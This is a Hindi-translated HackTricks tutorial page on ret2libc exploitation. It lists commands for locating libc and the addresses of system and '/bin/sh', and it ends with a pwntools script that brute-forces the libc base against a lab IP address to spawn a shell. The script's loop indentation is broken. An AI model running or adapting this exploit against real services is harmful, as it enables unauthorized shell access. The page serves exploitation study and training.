hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md

6.3 KiB

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

यदि आपने एक वंलरेबल बाइनरी खोजा है और आपको लगता है कि आप इसे Ret2Lib का उपयोग करके एक्सप्लॉइट कर सकते हैं, तो यहाँ आप कुछ मूल चरण जो आप फॉलो कर सकते हैं, पा सकते हैं।

यदि आप होस्ट के अंदर हैं

आप libc का पता लगा सकते हैं

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

यदि आप जांचना चाहते हैं कि ASLR libc का पता कैसे बदल रहा है, तो आप निम्नलिखित कर सकते हैं:

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

प्रणाली कार्य का ऑफसेट प्राप्त करें

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

"/bin/sh" का ऑफसेट प्राप्त करें

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

यदि प्रक्रिया हर बार जब आप इसके साथ बात करते हैं (नेटवर्क सर्वर) एक बच्चा बनाती है तो कोशिश करें कि आप उस फ़ाइल को पढ़ें (संभावना है कि आपको रूट होने की आवश्यकता होगी)।

यहाँ आप सटीक रूप से देख सकते हैं कि प्रक्रिया के अंदर libc कहाँ लोड हो रहा है और प्रक्रिया के प्रत्येक बच्चे के लिए कहाँ लोड होने जा रहा है

इस मामले में यह 0xb75dc000 में लोड हो रहा है (यह libc का बेस पता होगा)

gdb-peda का उपयोग

gdb-peda का उपयोग करके system फ़ंक्शन, exit फ़ंक्शन और स्ट्रिंग "/bin/sh" का पता लगाएं:

p system
p exit
find "/bin/sh"

ASLR को उमकरना

आप libc के एब्स पते को ब्रूटफोर्स करने का प्रयास कर सकते हैं।

for off in range(0xb7000000, 0xb8000000, 0x1000):

कोड

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए: